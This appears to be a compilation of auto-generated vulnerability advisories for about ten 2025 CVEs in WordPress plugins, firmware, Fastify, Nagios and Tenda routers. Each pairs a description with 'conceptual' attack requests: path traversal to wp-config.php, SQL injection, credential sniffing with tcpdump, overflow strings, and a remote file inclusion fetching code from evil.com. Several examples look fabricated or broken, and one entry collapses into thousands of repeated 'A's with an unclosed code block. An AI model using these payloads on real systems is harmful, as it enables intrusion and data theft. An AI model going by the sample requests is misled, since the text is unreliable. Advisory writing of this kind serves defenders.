Author: Ameeba

Overview

This report covers an arbitrary file read vulnerability in the CLEVER – HTML5 Radio Player With History – Shoutcast and Icecast – Elementor Widget Addon plugin for WordPress. This vulnerability allows unauthenticated attackers to read arbitrary files on the server of an affected site, which may contain sensitive information like database credentials. It’s a serious issue that can expose critical data and potentially compromise the entire system.

Vulnerability Summary

CVE ID: CVE-2025-3103
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage due to unauthorized access to sensitive files

Affected Products

Product | Affected Versions

CLEVER – HTML5 Radio Player With History – Shoutcast and Icecast – Elementor Widget Addon plugin for WordPress | Up to and including 2.4

How the Exploit Works

The vulnerability is due to insufficient file path validation in the ‘history.php’ file. An attacker can send a specially crafted request to the server hosting the vulnerable plugin. The server, failing to properly validate the requested file path, will return the content of any file specified by the attacker.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited using an HTTP GET request. In this example, the attacker attempts to read the ‘wp-config.php’ file, which typically contains sensitive information such as database credentials.

GET /wp-content/plugins/clever-html5-radio-player/history.php?file=../../../wp-config.php HTTP/1.1
Host: target.example.com

Mitigation Guidance

To mitigate this vulnerability, apply the vendor patch as soon as possible. If a patch cannot be immediately applied, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. These systems can be configured to block or alert on attempts to exploit this vulnerability.

Overview

This report outlines the details of a severe SQL Injection vulnerability identified in the JobWP – Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress. The vulnerability, marked as CVE-2025-2010, can be exploited by unauthenticated attackers to extract sensitive information from the database. As such, it poses a significant risk to websites using affected versions of this plugin and requires immediate attention to mitigate potential security breaches.

Vulnerability Summary

CVE ID: CVE-2025-2010
Severity: High – CVSS 7.5
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

JobWP – Job Board, Job Listing, Career Page and Recruitment Plugin for WordPress | Up to 2.3.9

How the Exploit Works

The JobWP – Job Board, Job Listing, Career Page and Recruitment Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘jobwp_upload_resume’ parameter. Due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query, unauthenticated attackers can append additional SQL queries into already existing queries. This can be used to extract sensitive information from the database.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /wp-content/plugins/jobwp-upload-resume HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "jobwp_upload_resume": "'; SELECT * FROM wp_users --" }

In this example, the attacker uses the ‘jobwp_upload_resume’ parameter to append a new SQL command (`SELECT * FROM wp_users`) to the original query, potentially allowing them to retrieve all user data from the database.

Overview

A serious vulnerability, CVE-2025-28235, has been discovered in Soundcraft Ui Series Firmware which allows unauthenticated attackers to access administrator credentials in plaintext. This vulnerability threatens the security of two models, Ui12 and Ui16, potentially compromising the system or leaking sensitive data. As such, it is of high importance for users of these models to be aware of this vulnerability and take the necessary steps to mitigate it.

Vulnerability Summary

CVE ID: CVE-2025-28235
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

Soundcraft Ui12 | Firmware v1.0.7x, v1.0.5x
Soundcraft Ui16 | Firmware v1.0.7x, v1.0.5x

How the Exploit Works

The exploit works by sending a specific request to the /socket.io/1/websocket/ component of the affected firmware versions. This request triggers the vulnerability, causing the firmware to disclose administrator credentials in plaintext. An attacker does not need any privileges or user interaction to exploit this vulnerability, making it a critical security risk.

Conceptual Example Code

Here is a conceptual example of an HTTP request that might exploit this vulnerability:

GET /socket.io/1/websocket/ HTTP/1.1
Host: target.example.com

Upon receiving this request, the vulnerable system may respond with the administrator credentials in plaintext.

Mitigation

Users of Soundcraft Ui12 and Ui16, with affected firmware versions, should apply the vendor-provided patch to mitigate this vulnerability. In the absence of such a patch, or until it can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation. Regularly updating and patching systems, along with continuous monitoring of network traffic, can help in reducing the risk associated with this vulnerability.

Overview

The alert pertains to a significant access control vulnerability identified in the 2024R1.0.3 version of Nagios Network Analyzer. The vulnerability, tracked as CVE-2025-28059, can potentially lead to unauthorized access to system resources and functions, impacting the integrity of the system. The flaw is particularly concerning for businesses and organizations that utilize this software for network analysis, as it could lead to system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-28059
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to restricted system functions, potential system compromise and data leakage

Affected Products

Product | Affected Versions

Nagios Network Analyzer | 2024R1.0.3

How the Exploit Works

The exploit takes advantage of an access control flaw in Nagios Network Analyzer. When a user account is deleted by an administrator, the system fails to invalidate the active sessions and revoke associated API tokens. This means a user whose account has been deleted can still access system resources via these stale sessions and tokens, leading to potential unauthorized access to restricted functions.

Conceptual Example Code

The following example presents a conceptual representation of how an HTTP request might be manipulated to exploit this vulnerability:

GET /restricted_function HTTP/1.1
Host: target.example.com
Authorization: Bearer <stale_token>
{ "user": "deleted_user" }

In this example, `` would be the API token still valid after the user account deletion. The server, not properly invalidating these stale tokens, will grant access to the `deleted_user` to the `restricted_function` endpoint.

Overview

The CVE-2025-32442 vulnerability exposes a flaw in Fastify, a widely used web framework for Node.js. This security flaw, present in versions 5.0.0 to 5.3.0, allows an attacker to bypass content type validation by subtly altering the content type. This vulnerability could lead to potential system compromise or data leakage, posing a serious risk to any web application using the affected Fastify versions.

Vulnerability Summary

CVE ID: CVE-2025-32442
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

Fastify | 5.0.0 to 5.3.0

How the Exploit Works

The exploit makes use of a flaw in Fastify’s handling of content type validation. If an application specifies different validation strategies for different content types, an attacker can bypass this validation by providing a slightly altered content type. This alteration could be as simple as changing the casing or adding extra whitespace before a semicolon.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/Json ; charset=utf-8
{ "malicious_payload": "..." }

In this example, the attacker has changed the casing of the “json” in the content type and added extra space before the semicolon. This bypasses the validation and allows the malicious payload to be processed.

Mitigation

The issue has been fully patched in Fastify version 5.3.2. Users are highly advised to update their Fastify version to this latest release. As a temporary measure, a workaround involves not specifying individual content types in the schema. Alternatively, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as a temporary mitigation until the patch can be applied.

Overview

This report details a high-severity vulnerability in NamelessMC, a widely-used website software for Minecraft servers. This vulnerability (CVE-2025-29784) affects versions 2.1.4 and prior, and if exploited, can lead to performance degradation and potential system compromise or data leakage. This vulnerability matters because of the widespread use of NamelessMC and the potential for attackers to exploit it, causing significant disruption.

Vulnerability Summary

CVE ID: CVE-2025-29784
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System performance degradation, potential denial-of-service attacks, system compromise or data leakage

Affected Products

Product | Affected Versions

NamelessMC | 2.1.4 and prior

How the Exploit Works

The vulnerability stems from the lack of length validation for the ‘s’ parameter in GET requests for the forum search functionality in NamelessMC. Attackers can exploit this oversight by submitting excessively long search queries, which can degrade system performance and potentially lead to denial-of-service (DoS) attacks.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. In this case, an attacker sends a GET request with an excessively long ‘s’ parameter to the search endpoint.

GET /forum/search?s=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... HTTP/1.1
Host: vulnerable-server.com

Note: The ‘A’s in the ‘s’ parameter represent the excessively long search query. The actual query would be much longer to cause noticeable performance degradation or a DoS attack.

Mitigation Guidance

Users of NamelessMC version 2.1.4 and prior are advised to update to version 2.2.0 where this issue has been patched. If an immediate update is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

Overview

This report discusses CVE-2025-28228, a significant cybersecurity vulnerability affecting the Electrolink 500W, 1kW, 2kW Medium DAB Transmitter Web and Display. This vulnerability exposes sensitive credentials in plaintext, paving the way for unauthorized access and potential system compromise. As a serious risk to data security, this vulnerability warrants immediate attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-28228
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to credentials, potential system compromise or data leakage

Affected Products

Product | Affected Versions

Electrolink 500W Medium DAB Transmitter Web | v01.09, v01.08, v01.07
Electrolink 1kW, 2kW Medium DAB Transmitter Web | v01.09, v01.08, v01.07
Electrolink Medium DAB Transmitter Display | v1.4, v1.2

How the Exploit Works

The vulnerability arises from inadequate security measures that result in credentials being stored and transmitted in plaintext. Consequently, an attacker can intercept network traffic to or from the affected devices and gain access to these credentials. This unauthorized access can lead to a system compromise or data leakage.

Conceptual Example Code

An example of exploiting this vulnerability might involve a simple packet sniffer tool to intercept the plaintext credentials. Conceptually, this might look something like:

# Run packet sniffer on network interface
sudo tcpdump -i eth0 -w output.pcap
# Analyze captured packets for plaintext credentials
grep -a -o -e 'username=[^&]*' -e 'password=[^&]*' output.pcap

This code is purely illustrative and oversimplified. In a real-world scenario, exploiting this vulnerability would likely involve more complex network traffic analysis and potentially additional steps to bypass other protective measures.

Mitigation Guidance

Users of affected products are advised to apply the vendor patch as soon as it’s available. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. These measures can help detect and block malicious traffic, although they cannot fully eliminate the vulnerability.

Overview

CVE-2025-25455 represents a severe vulnerability in Tenda AC10 V4.0si_V16.03.10.20, a popular router hardware. This vulnerability is a Buffer Overflow in the AdvSetMacMtuWan via wanMTU2, potentially leading to system compromise or data leakage. Given the widespread use of this device in both commercial and personal applications, this vulnerability poses a significant risk that demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-25455
Severity: High (CVSS score 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC10 | V4.0si_V16.03.10.20

How the Exploit Works

The exploit leverages a buffer overflow vulnerability in the AdvSetMacMtuWan module of the Tenda AC10 V4.0si_V16.03.10.20. By sending a crafted input that exceeds the buffer’s capacity via wanMTU2, an attacker can overflow the buffer, leading to the execution of arbitrary code or causing the system to crash. This exploit can be executed remotely, making it a significant threat to all affected devices.

Conceptual Example Code

Consider the following conceptual exploitation of this vulnerability, where an attacker sends an excessively large payload to the vulnerable endpoint:

POST /AdvSetMacMtuWan/wanMTU2 HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "mtu_size": "OVERFLOW_PAYLOAD" }

This is not a literal payload but an illustrative example of how the buffer overflow vulnerability could be exploited. The exact malicious payload would likely be an oversized input designed to overflow the buffer and manipulate the system’s memory.

Mitigation Guidance

Affected users should apply the patch provided by the vendor as soon as possible. If a patch is not immediately available or applicable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These tools can help detect and block attempts to exploit this vulnerability.

Overview

The vulnerability CVE-2025-25454 is a serious cybersecurity threat affecting Tenda AC10 V4.0si_V16.03.10.20. It involves a Buffer Overflow in AdvSetMacMtuWan via wanSpeed2, potentially leading to system compromise or data leakage. Due to the high CVSS severity score, it is of utmost importance to address this issue promptly.

Vulnerability Summary

CVE ID: CVE-2025-25454
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Tenda AC10 | V4.0si_V16.03.10.20

How the Exploit Works

The exploit works by sending an overlong string to the AdvSetMacMtuWan via wanSpeed2 in Tenda AC10 V4.0si_V16.03.10.20. It causes a buffer overflow, which can allow an attacker to execute arbitrary code remotely. This could potentially lead to system compromise or data leakage.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:
“`http
POST /AdvSetMacMtuWan/vulnerability HTTP/1.1
Host: target.example.com
Content-Type: application/json
{
“wanSpeed2”: “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Overview

The CVE-2025-31030 vulnerability is a critical flaw in the jbhovik Ray Enterprise Translation, a widely-used PHP-based platform. This issue stems from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’), potentially leading to a PHP Local File Inclusion. Due to the severity of this issue, it can result in system compromise or data leakage, posing a significant threat to any institution using affected versions of the software.

Vulnerability Summary

CVE ID: CVE-2025-31030
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

jbhovik Ray Enterprise Translation | n/a through 1.7.0

How the Exploit Works

The exploit takes advantage of the improper control of filename for Include/Require Statement in the PHP program. An attacker can manipulate the PHP Remote File Inclusion to force the server to execute arbitrary PHP code from a remote server. This can lead to a PHP Local File Inclusion, enabling the attacker to load and execute local files on the server. This can lead to a full system compromise and potential data leakage.

Conceptual Example Code

Here is a conceptual example of an HTTP request exploiting this vulnerability:

POST /ray-enterprise-translation/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "include_file": "http://evil.com/malicious.php" }

In this example, the malicious PHP file from a remote server (“evil.com”) is included and executed on the target server, exploiting the ‘PHP Remote File Inclusion’ vulnerability.

Mitigation

Users affected by this vulnerability are advised to apply the vendor’s patch as soon as possible. If the patch cannot be applied immediately, the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigation. These tools can help detect and prevent attempts to exploit this vulnerability, thereby enhancing the security of the system.